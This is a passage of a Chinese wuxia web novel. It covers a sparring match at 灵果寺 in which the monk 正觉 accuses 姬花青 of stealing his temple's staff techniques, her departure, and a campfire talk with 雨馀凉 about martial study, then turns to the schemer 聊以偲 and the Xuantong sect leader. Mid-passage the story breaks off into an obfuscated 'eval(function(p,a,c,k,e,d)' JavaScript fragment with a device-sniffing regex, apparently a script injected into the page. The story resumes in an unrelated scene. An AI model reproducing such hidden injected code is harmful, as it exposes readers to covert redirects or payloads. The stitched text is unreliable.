正悲方丈听了这话,盯着雨馀凉的脸看了好一阵,似乎觉得雨馀凉提出的这个问题有些刁钻,过了好一会,正悲才道:“那魔头说不为难僧人,却没说不把灵苦大师怎么样。再说,这话是师父说给老衲的,师父又是从他的师父那里听来的,跟那大魔头原本说的话难免有些出入。” 雨馀凉心想,这老方丈一口一个大魔头,他连裴秉延的面都没见过,就恨得这样深。大魔头,大魔头……大馍头?有大花卷吗?他想到这,突然感到腹中有些饥饿。 倒也巧,刚好在这时,正悲道:“不知各位施主用过膳了没有?” 苗镖头快人快语,道:“一大早就碰上三乌寨那帮龟孙子,哪有时间吃饭哪!”话应刚落,秦椿一记眼刀就飞了过来,苗镖头只得呵呵笑着闭嘴。 正悲道:“那么便请各位施主移步客舍用斋。” 53. 论武(三) 吃过斋饭后,左右无事,雨馀凉便在寺中闲逛。 雨依旧未停,雨馀凉不知不觉间便来到一座小巧的庭院。雨水顺着乌黑的一角屋檐不断滚落,庭院里青草茂密,石头上也铺了一层青绿的苔藓。 那绿色极其鲜亮,被雨水打湿后,更是青翠无比。 雨馀凉立在檐廊边,湿润的风携着丝丝凉雨打在他裸露出来的皮肤上,雨馀凉十分享受这种感觉。 “雨少侠?” 突如其来的声音让雨馀凉略微一惊,他并没有意识到是在叫自己,毕竟“少侠”这两个字用在他身上,连他自己都觉得别扭。 他又突然有些沉郁,上一个这么叫他的,是鱼晚衣。 紧接着,雨馀凉感到肩膀被人拍了一下,他回头,只见一个与自己年龄相仿少年立在身后,正是叶小暑。 叶小暑笑道:“雨少侠在这里做什么?” 雨馀凉道:“吃完饭消消食,叶镖头呢?怎么到这来了?” 叶小暑道:“跟雨少侠一样!大家不是在睡午觉,就是在忙我插不上手的事,我中午又睡不着,一个人无聊,便出来走走。” 二人说完,沉默一阵,叶小暑道:“站在这真舒服,雨少侠你真会挑地方。” 雨馀凉道:“前段时间太闷热了,天热的时候,我就特别喜欢下雨。” 叶小暑道:“我也是。” 二人又是一阵沉默。 叶小暑问道:“那位姬姑娘是你的师父吗?” 雨馀凉心想,怎么人人都这么问我?道:“不是,她是跟我一起行走江湖的前辈。” 叶小暑道:“真好。” 雨馀凉问叶小暑:“沧阆怎么样?” 叶小暑道:“你是问沧阆府还是沧阆派?” 雨馀凉知道水西有一个门派叫做沧阆派,也知道有一个沧阆府,人口稠密,十分繁华,沧阆派就在沧阆府,一派一府名字相同,他本意是要问叶小暑沧阆派如何,但听叶小暑提到沧阆府,也突然有了兴趣,便笑道:“沧阆派和沧阆府,叶镖头可否都说说?” 叶小暑嘿嘿一笑,道:“沧阆派啊,门派的特色是弟子们通常都使一硬一软两种兵器,大多数弟子的硬兵器都是短直刀。其他的就跟通常的门派一样,弟子们每天就是练武功,枯燥乏味地度过一天又一天。” 雨馀凉道:“沧阆四绝是你们门派的……” 叶小暑道:“啊,那是我们门派武功仅次于掌门的四位高手,平时遵从掌门的命令满江湖跑,神龙见首不见尾的。”叶小暑继续道:“沧阆府么,就比沧阆派有意思多了,如今我们水西的掌盟,籍贯就在沧阆府呢。这位掌盟可不一般,是水西至今唯一一位不会武功的掌盟。” 雨馀凉道:“这位掌盟叫什么?” 叶小暑道:“晁游。” 雨馀凉望天道:“晁游?” 叶小暑道:“嗯,他不仅不是出生在武林世家,他的原来家庭跟江湖啊武林啊,沾不上一点关系,偏偏我们水西的武林盟主就把他看上了,最终一步步坐上了掌盟的位置。”叶小暑说到这里,表情有些得意道:“说起来,我跟他也算有点亲戚关系,我娘跟他第一任夫人,也就是晁家大小姐的母亲是同族。” 雨馀凉道:“这么厉害?”他听叶小暑说起亲戚之类的话题,突然想到了什么,问道:“今天早上,在对付三乌寨时,你说不找到舅舅是不会死的,叶镖头的舅舅怎么了?” 叶小暑顿了顿,道:“我舅舅几年前跟家里吵架,一怒之下便离开家往水南来了,所以我才来到水南当了镖师,就是想着能一边挣口饭吃一边寻找舅舅的消息。” 雨馀凉道:“叶镖头跟舅舅关系一定很好,这才不远万里从水西来到水南。” 叶小暑道:“嗯,小时候,我经常缠着舅舅带我上山采草药,那个时候是真的高兴。不知为什么,人越是长大,就越来越不高兴了。” 雨馀凉在心中重复“人越是长大,就越来越不高兴了”,心想,是高兴的事变少了吗?不,对自己来说,小时候和长大后遇到的都是同样令人难过的事,只不过小时候很迟钝,从没觉得那些事有多不得了,但长大后就不一样了。 雨馀凉听叶小暑回忆起他的童年,心里又想,我失去了六岁前的记忆,连可以回忆的东西都没有。 哗哗雨声中,叶小暑的声音犹如梦呓:“沧阆也总是下雨,但是在秋天。” 禅房内,正悲方丈,正觉,玉剑,姬花青正坐着喝茶。 姬花青道:“其他镖局怕给自己惹上麻烦,都不愿搅这趟浑水,而秦总镖头顾念着玉老爷对他的恩情,尽管知道此去凶险,仍义无反顾地接下这趟镖,此等义气,在当今的江湖的确少见了。” 正悲、正觉也都对秦椿赞叹不已,姬花青道:“三乌寨的事虽暂时解决了,但如今道上哪里都不太平,秦总镖头之后的路恐怕还是难走。” 她百般暗示,正是想劝灵果寺拨出僧人跟随镖队一路北上临蓟,虽然姬花青在往这方面努力,但她对于灵果寺会派僧人跟着鸿羽镖局一起去护镖也没抱太大希望。然而出乎姬花青意料的是,正悲竟主动说道:“鸿羽镖局缺人手么?” 姬花青道:“我想秦总镖头现在还是需要的,毕竟之前到处去找其他镖局借调人手。” 正悲低头思索一番,对正觉道:“师弟啊,募明、募月这两个孩子也是时候去江湖上历练历练了,就让募清、募风带着他们两个,随秦总镖头一道去临蓟吧。” 姬花青既意外,又欣喜,心想这些和尚倒是古道热肠,对正悲也多了几分敬意。 离开禅房后,玉剑追上来,叫:“姬姑娘!” 姬花青驻足回首,微笑道:“玉少爷,何事?” 玉剑停下脚步,仍有些气喘吁吁,道:“姬姑娘,玉剑多谢姬姑娘!” 姬花青道:“这可从何说起?” 玉剑道:“方才姬姑娘尽力说服灵果寺僧人加入镖队,灵果寺众僧武功不凡,有了他们加入,这趟镖也越发稳固了,这批镖货镖银能平安到达临蓟,对玉家来说是天大的恩德,玉剑在这郑重谢过姬姑娘!”说着就躬身拜了下去。 姬花青连忙将玉剑扶起,有些不知所措,道:“是灵果寺的师父们有慈悲侠义心肠,若不是这样,我再怎么说都是没用的。”她朝四周看了看,略微压低了些声音对玉剑道:“其实我是打算离开镖队了,今早又见到这些灵果寺的师父们武功极好,所以尝试着劝说他们为镖队提供人手。” 玉剑惊道:“离开?姬姑娘为何突然要离开?” 姬花青将玉剑引到一个角落里,轻声道:“其实,我来到鸿羽镖局,包括答应加入镖队押镖,都不是出于自己的意愿,如今胁迫我的东西已经不复存在,那么我也要去做我自己的事了。” 玉剑听了她这话越发疑惑,有人威胁姬花青?那人是谁?以姬花青的武功,谁能威胁她?能够威胁姬花青,说明那人武功在姬花青之上,可他武功若比姬花青还强,又为什么要威胁姬花青来押镖,而自己不出马呢? 其实,姬花青看出所谓的“魔教”是三乌寨假扮的之后,继而就想到先前宋子期跟自己说的话。当时她便疑惑玄同教为什么会和三乌寨扯上关系,可宋子期说不出个所以然,只说这些她不用知道。所谓“魔教”是假的,可在宋子期口中却是真的,那就说明宋子期很可能根本就不是玄同教的人。 仔细一想,除了最初见面时宋子期虚挡了她一掌,之后她再也没见过宋子期出手,且听鸿羽镖局的人说起,宋子期最初找上鸿羽镖局,也是为了让镖局将他护送到水西。若宋子期武功很好,又为什么要请镖局来护送他呢? 可难以解释的是,他手中为何会有那块令牌,难道教里出了什么变故?难道那个人……出什么事了? 姬花青心中一阵没来由的忧虑。 她想将宋子期抓来逼问一番,可万一宋子期武功确实很强,只是有意不出手怎么办?眼下很多事都还没搞清楚,她也不想去贸然招惹宋子期,干脆不动声色地离开。 姬花青对玉剑略微躬身颔首,道:“还请玉公子不要告诉任何人。” 玉剑虽然有些疑惑,但还是答应道:“姬姑娘放心,我不向任何人提起。” 姬花青对玉剑笑笑,正准备离开,玉剑又叫住姬花青:“姬姑娘,请再等等。”只见他从袖中拿出一本封皮陈旧,但被保存得很好的册子,正是此前他当街叫卖的那本琴谱。 玉剑将琴谱双手捧上,道:“这本琴谱,还请姬姑娘收下。” 姬花青睁大了眼,道:“这……” 玉剑道:“姬姑娘本来与鸿羽镖局和我玉家都素不相识,但多番相助,先是帮镖局赶走匪徒,再是帮忙押镖。” 姬花青心想:“要帮忙押镖倒也不是我本意……” 玉剑接着道:“今天早上还助镖队对付三乌寨匪徒。” 姬花青想到今天上午自己几乎全程被吊在网中,有些不好意思。 玉剑又道:“之后助鸿羽镖局和三乌寨解开误会,使我玉家这趟镖货少一桩劫难,方才又劝灵果寺前来相助押这趟镖,玉剑实不知要怎么感谢姬姑娘才好,想起前几日姑娘想要这本琴谱,此刻便双手奉上,权当答谢。” 姬花青道:“这礼物太过贵重,我怎么好收?” 玉剑道:“这是玉剑的一番心意,姑娘若不收下,玉剑总想着欠姑娘恩情,心里这辈子都过不去,姑娘就当替玉剑着想,收下吧。” 姬花青听玉剑这么说,又见他神色坚定,倒也不好再推辞了,于是双手接过琴谱,对玉剑谢了又谢。 与玉剑分开后,姬花青一边走一边心想:“鸿州附近有意思的人真不少。”她正要去找雨馀凉让他收拾行李准备离开,来到寺院中一处时却听到了拳脚兵器相击的声音,姬花青心中一动,从廊门穿过去。 这时雨已几乎停了,只见一片极宽敞的空地,空地中央有两人正在比武,姬花青定睛一看,其中一人是鸿羽镖局的叶小暑,另一人则是灵果寺的僧人,那僧人看着眼熟,应当是叫募清、募风、募明、募月的那四个少年僧人中的其中一个,她本就不擅长分辨人脸,这些和尚都是清一色的光头,她更加分不清谁是谁。再看旁边,苗镖头、白翡姑、雨馀凉,以及正觉和另外三个少年僧人都在。 雨馀凉看着场上的比武,和旁边的人一起连连喝彩,姬花青想,他跟最开始自己在谷州府见到时的样子,已经很有些不一样了。 姬花青过去走到雨馀凉身后,扯了扯雨馀凉的衣袖,雨馀凉回头一看,却是姬花青,姬花青道:“馀凉,过来一下。” 白翡姑扭头看见姬花青,笑着道:“哟,姬妹妹来啦,”姬花青报以微笑。 白翡姑道:“灵果寺的这四位师父也要跟我们一道护镖去临蓟,新朋友加入,我们正切磋着玩呢。” 那边的比武也已经结束,因为是点到为止,所以双方都还好好地站在地上,叶小暑躬身道:“募月师父果然厉害。”原来与他切磋的僧人是募字辈四僧中募月,募月双手合十,对叶小暑也鞠了一躬,道:“叶施主承让了。” 姬花青没想到这么快众人就知道了 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苗镖头笑道:“说起来,我倒是想看姬姑娘和正觉师父打一架。”他这么一说,众人都来了兴趣,雨馀凉也一下来了精神,笑着对姬花青道:“好主意!” 几天前姬花青帮助镖局打退三乌寨众匪,对每个匪徒都只用了一招或半招就将他们打倒在地,而今早正觉露的那手暗器实在干净漂亮,并且也只用了三招就将匪首皮逻宗制服,那么这两人究竟谁比较厉害?不过不管是谁更胜一筹,这两人打起来绝对好看。 姬花青和正觉对视一眼。上午姬花青被困于网中,也看到了正觉的那几招,当时她便惊觉灵果寺的武功招式奇特,倒是自己以前从未见到过的种类。她本不欲比武,但拒绝的话却也迟迟没说出来,双脚更如钉在了地上一般,久久没有挪动。 正觉见姬花青手提长刀,又想起之前姬花青从招式留下的痕迹入手,消解鸿羽镖局和三乌寨的误会,知道此人对武学有较为深刻的了解。他听秦椿说起过镖局被三乌寨匪徒袭击时姬花青刚好路过并拔刀相助,且对付众匪只用了一招的事,但究竟没亲眼见过姬花青动手,关于她的武功如何全是听人嘴里说起,到底是什么水平,却也难说。想到这里,当下也好奇心大起,只是自己才说了几个年轻一辈的僧人耽于打架斗殴,转眼间自己又跟人动手,岂不可笑? 苗镖头看出二人都有点想法,但又都心存顾忌,忙上前推着正觉到场中,道:“来来来,两位这就比划比划,也好让我们开开眼界。”又望向姬花青道:“姬姑娘,快来。” 白翡姑也携着姬花青的手,将姬花青拉入场中,道:“来嘛姬妹妹。” 姬花青和正觉既已来到场上,也就不再犹疑,相互略微点了下头,姬花青拔刀,正觉展棍,呯嗙几响,两人便斗在了一处。 斗了三十几合后,姬花青便大致摸清了正觉的棍法路数,其实斗到十八九合时,姬花青于破拆这套棍法的方法已心中有数,只不过为了再确认一番,就又多看正觉使了十多招。这之后,姬花青连续拆解了正觉的每一招,正觉被逼得手脚施展不开,心想果然厉害,又换了一套棍法来使。 如此正觉换了二十三套棍法,而姬花青只是出招花样翻新、层出不迭,却没有灌注多少内力在刀刃上,所以每一次过招,即使姬花青在招数上已经胜过正觉,都被后者使力硬生生地格下或将刀刃弹开。先前通过萧吞的医治,姬花青已经可以连续运使内力,她这一举动,用意全在引正觉将他灵果寺每一套棍法的每一式及每招的每一种变化完完本本地使将出来。所以两人的打斗被无限延长,一直没能分出胜负。而正觉每使一套棍法,姬花青都在心中默记。 这倒是让旁观的人大饱了眼福,众人只觉姬花青和正觉的招式都极尽巧妙,两人接下来会怎样出招,全是旁人料想不到的。前来围观的人也越来越多,有灵果寺的僧人,也有鸿羽镖局的镖师、趟子手、伙计、车夫,正悲方丈本来和秦椿一边谈话一边在檐廊下行走,见僧人、镖局中人都往广场那边跑,两人相对而视,不知道发生了什么,也快步趋往广场。 来到广场,只见场地中央有两条人影上下翻飞,而四周已经里三层外三层围满了人,正悲和秦椿在最外面一圈人后面站定,都略微伸长了脖子向中间望去。 此时正觉又使出一套棍法来,这套棍法夹杂着灵果寺的上乘掌法、腿法,极是灵活,往往能攻对手一个出其不意。正觉见姬花青面对这套棍法时不像方才那般游刃有余了,心下略微得意,道:“姬施主,这套棍法,是本寺数代僧人逐渐悟出,不断改进,专为拆解当年的魔教教主裴秉延的武功的棍法,虽然那魔头现在已不在人世,但他武功极强,因此克制他武功的棍法自然也不简单,这棍法既能将那魔头的招式尽数破拆,姬姑娘此刻觉得吃力些,也是正常的。” 姬花青心道:“原来是这样,怪不得感到这棍法没有一招不使自己绊手绊脚。”她听正觉说这棍法能将裴秉延的武功尽数破拆,当即起了针对之意,也凝神思考起拆解他这套“能破拆魔教教主裴秉延武功”的棍法的方法。 方才正觉连使了二十三套棍法,姬花青一一细细看过,而要怎么将那些棍法融入自己的武功中,姬花青心中也已初步有了计较。她迫不及待地找机会将自己心中的想法试演出来,又集中心力拆解正觉正在使的这套棍法,刀棍相击之间,便在刀法中融入了演化衍生过后的灵果寺棍法,用以破拆正觉现在使用的棍法。如此三四招过后,正觉脸上微露惊疑神色,两人再走了五六招,正觉的脸色越来越难看,最终啪的一声双脚落地站定,将铁棍往地上重重一杵,道:“姬花青姬施主,你为何偷学本寺武功?” 54. 论武(四) 正觉此言一出,人群一片哗然。鸿羽镖局的几个镖头和雨馀凉面面相觑,都不知方才还好好的,怎么正觉突然口出此言。 毕竟“偷学别派武功”,是江湖上最忌讳的事之一,这罪名可不小,加诸在姬花青身上,正觉说出这话,已经可以说是十分不客气了。 姬花青道:“正觉师父何出此言?” 正觉哼了一声,道:“我方才使那阿难棍法时,明明只使了前五十式,然而就在刚刚,你却使出了第七十九式,你虽使的是刀非棍,但从你运刀的走向来看,也能看出我寺阿难棍法第七十九式的影子。若只有这一式,也就罢了,可摩诃棍法,迦叶棍法,湿婆棍法,须菩提棍法,这几套棍法每一套我跟你比试时都没使完,可你偏偏将这些棍法中我没使出的部分都使了出来,你还说没有偷学我寺的武功吗?” 姬花青心道:“这泼火雨功倒用起来果然神奇,竟反推出了这些武功中其他原本的招式,只是现下给我带来了一些麻烦,这和尚一口咬定我偷学了他们门派的功夫,我又不能说是因为泼火雨功的缘故。” 正悲想通过人群往场地中央走去,走到一名今日负责洒扫的小沙弥后面时,刚好那小沙弥只顾着看热闹,不知不觉间手中的笤帚向后倾倒,打在了正悲的脸上。那小沙弥感到笤帚打上了什么东西,回头看去,见是正觉,唬了一大跳,忙将笤帚扔在地上,双手合十道:“方丈。”他旁边的人也是一惊,闭上嘴不再说话,缄默如涟漪般扩散开,最终整个人群都安静了下来,广场中唯余正觉和姬花青争论的话语声,而在这个时候,正觉和秦椿也穿过人群,走到了广场中央。 苗镖头、白翡姑、叶小暑看见正悲和秦椿,都心道事情闹大了。 姬花青笑道:“正觉师父误会了,我见正觉师父使出的棍法高妙,情不自禁便行效仿,只是模仿得拙劣,模仿了个四不像出来,想是碰巧跟贵寺的一些棍法招式有些相像,正觉师父一晃眼看错了。” 正觉冷冷道:“若是模仿,仿不出我没使过的招式。不止我看得明白,你去问这些方才旁观的弟子,凡是学过那些棍法的,是不是看出你方才使的就是本寺棍法,你做了偷师贼,被人当面抓住却还嘴硬。” 正觉的态度和毫不客气的言语也有些激怒了姬花青,但姬花青面上仍是微笑道:“偷师贼?你可想清楚,我是在你使出这些招式时正大光明地看,可没有在你自己练功或授徒时躲在一旁偷偷地学,你若这么不喜欢自己师门的招式被别人使出来,干脆以后别在外面用出武功啦。” 正觉被这么一顿抢白,一时想不出反驳的话来,只伸手指着姬花青道:“你,你,你……简直一堆歪理,你是哪个师父教的?上梁不正下梁歪,你师父教你的武功也是他四处偷来的吗?” 姬花青脸上笑容忽然消失了,她脸色一沉,道:“说我就说我,扯上我师父做什么?武功嘛,你使得,别人就拆解得,拆解得,自然就化用得。你若是跟我比武后能把我的招式记着回去细细研究,想出更高明的拆解之法来,我也不会说什么,说不定还要跟你再比过,想办法拆解你拆我的招用出的招式呢。” 雨馀凉见局面变成如今的样子,也不知要怎样收场,又担心灵果寺会把姬花青怎么样,心下又是焦急又是忧虑。同时心想这花青前辈平时不爱说话,此刻论起武来却滔滔不绝,多的是话要讲,拆解来拆解去的,她倒不头晕。 雨馀凉大声道:“正觉师父,你是否误会了?自从来到灵果寺,我几乎时时都跟花青前辈在一处,从没见她去偷看灵果寺僧人练武啊。” 正觉看都不看雨馀凉,只道:“你跟她是一道的,当然帮她说话,而且谁知道你们是不是共犯,说不定她将我们的武功偷学了去,正是要来教给你呢。” 雨馀凉听了这话,被刺激得眼前一阵发昏,心想怎么出家人说话这么冲?就在此时,忽听得一个年迈却威严的声音道:“正觉师弟,够了!” 正觉方才只顾着和姬花青争论,这时才见到正悲来了,忙双手合十道:“方丈师兄,你来得正好,此人偷学我灵果寺武功……” 正觉还没说完,正悲打断他道:“师弟,已经够了,莫犯了嗔戒!” 正觉睁大了眼,道:“方丈师兄,此人武功不可小觑,如今又偷学了我们的武功,不知有什么目的和野心,若是放任她行事,难保日后不会为祸武林!” 姬花青呵呵冷笑:“为祸武林?好大的一顶帽子。正觉师父,我劝你眼界不要这么狭窄,武林中能人异士甚多,我又算得了什么?” 正悲道:“好了师弟,玉少爷、鸿羽镖局都是我们的朋友,这件事到此为止,谁也休要再提。” 姬花青见正悲看她的表情也不是很和善,知道他心中其实也还是怀疑自己偷学了灵果寺的武功,只不过自己是跟着鸿羽镖局来的,碍于鸿羽镖局的面子,不想把事情闹大,这才出面喝止正觉。 也好。姬花青想,也省得她再找理由了,于是朝着秦椿与正悲的方向施施然拱手行礼,朗声道:“正悲方丈,秦总镖头,多承款待,姬某这便离开了。” 秦椿表情错愕,道:“这……这……”他看了眼正悲,施展轻功跃至姬花青身旁,低声道:“姬姑娘,莫为了这事发气较劲,正……说的话是不中听,可嘴巴长在别人身上,我们也管不了别人说什么,没做就没做,说开了就行了,别往心里去!你是我们鸿羽镖局的恩人,若让你这样离开,我姓秦的心里怎么过意得去啊?” 姬花青微笑道:“在这种场合下,姬某若使性子,岂不是太不知分寸?本来早该跟总镖头说的,现在说也不迟就是,如今有灵果寺僧与镖队同行,他们的武功,我也看过了,募字辈的四位师父加在一块,武功可抵得上我和雨馀凉了。实不相瞒,我先前答应诸位参与护镖,实在有些迫不得已,如今有人替代我,那么我也可以离开了。” 秦椿听姬花青这么说,挽留也不是,不留也不是,最终叹了一口气道:“既如此,那就随姬姑娘的意吧。” 秦椿、苗镖头、白翡姑、叶小暑和玉剑一直将姬花青和雨馀凉送到灵果寺山门,双方再三道别后,秦椿依旧气不过,对苗镖头、白翡姑和叶小暑怒道:“你们干的好事!没事撺掇人比武作甚?” 苗、白、叶三人都低头不语。 姬花青道:“秦总镖头,我本来就是要走的,跟几位镖头无关,还请不要责怪他们。”说罢又是一拱手,镖局众人亦朝姬花青拱手,姬花青转身离去,雨馀凉跟随其后,姬雨二人沿着一级级石阶向下走去。 一阵风吹来,带动山门前秦椿等人的衣衫拂动。 雨馀凉和姬花青行了数里路,天色向晚,二人于是点起火堆,准备在野外歇息一夜。 雨馀凉将一片枯叶扔进火堆,道:“花青前辈,你是不是喜欢拆解各门派武功招式啊?” 姬花青眨眨眼道:“这你都看出来了?” 雨馀凉点点头,道:“在谷州府时,前辈第一次来我家,一口气就说出了许多招式,它们分别属于哪一套武功的哪一招,哪一种变化,前辈都说得清清楚楚。后来对付沧阆四绝中的连、万两绝,前辈似乎在有意引导连江将自己的剑法一一使出来,然后再进行拆解,拆解后又进行化用。这次对上灵果寺的棍法,前辈也是用了相同的法子,只不过前辈是通过那正觉和尚已经使出的招式推衍出了他没使出的部分,又化用进了自己的刀法中而已,但那和尚不清楚此中关节,这才产生了误会。” 雨馀凉接着道:“通常情况下,人们比武只在乎胜负,但花青前辈却要将对方的武功剥皮拆骨,吃熟摸透。前辈跟人打斗时,用的不止有无涯派的招式,还隐隐有其他门派武功影子,虽然那些招式在前辈手中使出来与原本的招式不尽相同,但其中的意蕴是与原本的武功一样的。”姬花青既能化用,那肯定早就拆解过了,她拆解的招式应该远比她化用的多,以雨馀凉这么久以来对姬花青的观察,他感到姬花青迄今为止破拆的武功没有万套也有几千套了。 姬花青对雨馀凉说出的这番话倒是微微有些惊讶,心想这孩子也是不简单。其实,在武学理论方面,雨馀凉受了不少雨休的熏陶,所以姬花青使的那些招式究竟属于哪门哪派,雨馀凉先前虽然没提起过,却是能看出来大部分的。 在雨馀凉看来,姬花青就跟一只饕餮一般,只不过这饕餮专门吞食各派武功招式。他想了想,又道:“那花青前辈是不是将自己至今接触的每一套武功的每一招都全都拆解了?” 姬花青道:“倒也没有,我不是将所有武功都一整套一整套地完全拆解,有些是懒得拆,有些是拆不了,有好几套武功里面有些招式我到现在都没能想出拆解的法子。不过随着拆解的招式越来越多,我倒是发现一些新接触的武功招式能为我拆解之前遇到的武功招式提供灵感和思路。” 姬花青曾于武学一道极其痴迷,渔猎百家武功其中一个原因便是,她发现各种不同的武功相互参照能够提升自己对武学的理解。 雨馀凉有些出神地看着火堆,道:“这是花青前辈的爱好,怪不得前辈武功这么好。” 姬花青笑道:“也没有必然联系啦……” 雨馀凉苦笑道:“花青前辈,你这种一直很优秀的人,大概不会懂我的感受。” 姬花青听他语气苦涩,联想起雨馀凉在门派大较上的表现以及谷州刀派的师父辜俊愿对他的态度,柔声道:“其实我以前武功跟同龄人相比也不好的。” 雨馀凉有些睁大了眼睛,他简直无法想象姬花青有武功不好的时候。他抱着双腿,垂眼看着地面,道:“我不信,花青前辈一定是在骗我。” 姬花青正色道:“馀凉,我先前说过,我不会因为要安慰一个人而骗他。” 雨馀凉一手托腮,看着姬花青,道:“那花青前辈后来又是怎么把武功练好的?还练得这样厉害?” 姬花青道:“有一天突然开窍啦,我也很难说明白,就是你知道哪时该出招,该出哪招,哪时不该出哪招,就是一种感觉。有这种感觉,你就应该算是掌握了。” 雨馀凉对这个回答感到有些沮丧,道:“那我要是一直不开窍,岂不是一辈子都练不好。” 姬花青笑道:“只要肯勤加练习,一定会有开窍的那一天。然后呢,每个人有每个人的才能,倒也不一定非要将武功练得多好,终有一天,你会找到你擅长的事,做自己擅长的事就可以。”姬花青说这句话的同时,脑海中浮现出一幕画面:溪水旁,一个人摸着她的头,而她的脸上还挂着泪珠,那人用十分温柔的语气道:“练不好也没关系,以后找到自己喜欢做的事去做就行。” 雨馀凉方才还有些沉重的心仿佛被一只温暖的手托住了,嘴角忍不住微微上翘。 姬花青道:“不过,一句话便能抵得过千言万语,就像真正的高手,一招抵得过千招万招。只要将一套武功钻研得够深,就已经足够纵横江湖。” 雨馀凉心想,原来她知道武功修习在精不在广,真正高明的武功在于去繁就简。 于是不由得问道:“那前辈为何……” 姬花青道:“为何还要不断吸纳新的招式?” 雨馀凉点点头。 姬花青道:“如你所说,因为爱好吧,不过这事没什么用。我现在对此道的兴趣远不如以前了,如今只不过在凭着惯性的驱使做着这些事,很多时候,我都是麻木的。” 雨馀凉奇道:“为什么现在不那么喜欢了?” 姬花青突然抬头望向夜空,道:“江湖上,杀戮啊,争夺啊,每天都在发生。”说到这,她嘲讽地笑笑,道:“岂止江湖上,江湖之外的地方,也是一样。” 雨馀凉一愣,他们的话题似乎偏离了。 姬花青继续道:“有一天,我忽然意识到,这些争夺、冲突是没有止境的。一样东西被某方人马夺走,之后又会出现新的东西让众人抢夺。一个矛盾消失,又会产生新的矛盾,人们总有理由去争斗。这样一想,人生真是无趣又可怕,想通这点后,我很疲惫。” “这之后,我对习武拆招更是产生了无比的热衷,似乎世界上只有钻研武功这一件事才有乐趣。那时,我若在武学上有了新的领悟,便会特别特别高兴,似乎生活中高兴的事只有这些。尤其在我心情不好的时候,一钻研武功有了新的心得和体会,心情马上就能变好。” 雨馀凉听了她这话,心头突的一跳。 他竟想到了雨休,想到了那些雨休写给他哥哥的信。 雨馀凉觉得,这也是买醉的一种,不过有人是喝酒,而雨休是研究武学理论,姬花青是钻研新的招式。 姬花青道:“可又过了些时候,我感到钻研武功也没什么意思。”她叹了口气,“武功招式是看不尽、拆解不完的,不断修习新的武功招式,又哪里有趣呢。” 雨馀凉一时无言。 姬花青嘴角微弯,道:“行走江湖,不是谁武功强谁就能笑到最后,甚至可以说,武功在众多因素中只占很小一部分。你武功再好,别人照样有法子整治你。”雨馀凉看她神情,竟颇有自嘲之意。 “武功,学了也没什么用啊。不过在体能这方面,你们男人还是比女人有优势,因为男人力气天生更大。”姬花青顿了顿,道:“同样的修炼程度,男子的内功就是比女子深厚。你说,老天爷在创造男人女人的时候,为什么要制造这些差异呢。”她的声音轻而又沁凉,如泠泠松风,风送浮冰,在夜间的山野中听来,竟有些凄苦迷离。 之后,二人各自安睡。 雨馀凉心绪杂乱,无数个念头纠结在一起,挥之不去。饶是已躺下良久,却依然没能睡着。 忽然,一声轻微的刀出鞘的声音传来。 雨馀凉睁开眼,见姬花青背对自己坐着,从鞘中拔出了长刀。起先是缓慢地比划了十数下,手腕翻转,刀锋游走。十数下之后,便不由自主地站起身来,手上动作不停,配合着步法,左突右削。雨馀凉先前没看出她使的是何种刀法,在记忆中搜寻,也不记得自己曾在雨家老屋里的任何一本书上见过。突然,他心念一动,姬花青所使的,不正是白日里正觉所使的棍法么?只是她并非把刀当做棍来使,而是将棍法化为了刀法。 雨馀凉看出,有些招式是他有印象的,有些是他没有印象的,但也有几招他记得而姬花青并未使出来,是姬花青忘记了?不过刀跟棍用起来区别还是比较大,也有可能是那几招实在不好化用成刀法。 姬花青将那数十招刀法演了十数次,其中有一次使漏了前面一两招,一次漏了后面一两招,还有一次中间好几招都没使顺,使到后来,似乎又逐渐记起了雨馀凉记得、而她之前遗忘的几招,于是加在整套刀法中,但依然没有回忆完全。雨馀凉想出言提醒,但如此一来自己装睡看她练刀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴伯宽大的袖子交叠在胸前,道:“是。” 聊以偲道:“咱们来猜猜,是谁这么胆大包天?”他一张脸虽然生得柔和,但狰狞起来,却比别人原本凶恶的脸做相同的表情更加显得凶恶。 吴伯道:“是卫尧觉?可他手底下,哪还有这般厉害的人?” 聊以偲下颌左右动了一下,道:“他手下没人,那些暗中跟他结盟的门派势力手下倒是有人。不过能将司马兄妹都杀了,倒也很不简单,若被杀的是河伯山鬼,我都不会这么惊讶。” 吴伯突然道:“家主,会不会是……魔教?虽说武林盟主代表着武林正派,魔教代表邪道,二者水火不容,但武林盟主和魔教以前也不是没联合在一起过……” 聊以偲斜眼看向吴伯,道:“魔教如今凋敝成那样,不会是他们。” 吴伯低头道:“是,小人胡乱猜测。” 聊以偲道:“不过你刚刚提到魔教,倒让我想起一个人来。” 吴伯道:“不知家主指的是谁?” 聊以偲道:“裴秉延。” 吴伯宽大的袖子仍平举在胸前,还没等吴伯开口,聊以偲就自顾自说道:“裴秉延虽然得百年骂名,但也是枭雄一世,远好过默默无名一生。”他仰头看着天上的明月,“我与世人持不同看法,这般人物,我聊以偲心向往之。若能如他一样,也不枉此生。” 吴伯听聊以偲这么说,感到有些不祥,垂目道:“可裴秉延正值盛年,事败人亡,尸体被锁在伏魔观伏魔潭底,永世不得超生。” 聊以偲笑了一声,道:“我知道。”他看向吴伯,“他失败,是因为他也就那个水平。我的结局,绝不会和他一样,我会成为第一位水西水南共同的武林盟主。” 吴伯喜道:“家主好气魄!” 聊以偲双手撑在桌面上,龇牙道:“司马兄妹一死,我手下能用的人也变少了,东君云中君都有卧底任务在身,不方便让他们行动。吴伯,湘君湘夫人如今在哪?” 吴伯道:“湘君眼下就在衡泽,湘夫人在鄜城。” 聊以偲衣袖一摆:“马上着人联系他们。” ------------------------------ 水西,雁磐山,玄同教总坛。 玄同教主康忱守坐在大殿上,道:“可还有别的事?” 五护法、九长老等教众相互看一眼,都躬身垂首,不发一言。南护法覃七霄向前抱拳道:“教主,没有了。” 康忱守道:“若无事,就都退下吧。” 教众皆道:“是!” 康忱守四十来岁,一副中年文士模样,唇下留着一撮山羊胡子,面貌和蔼可亲,普通人一眼看去,绝想不到他是魔教教主。 从大殿出来后,康忱守只身来到教中禁地七星楼。 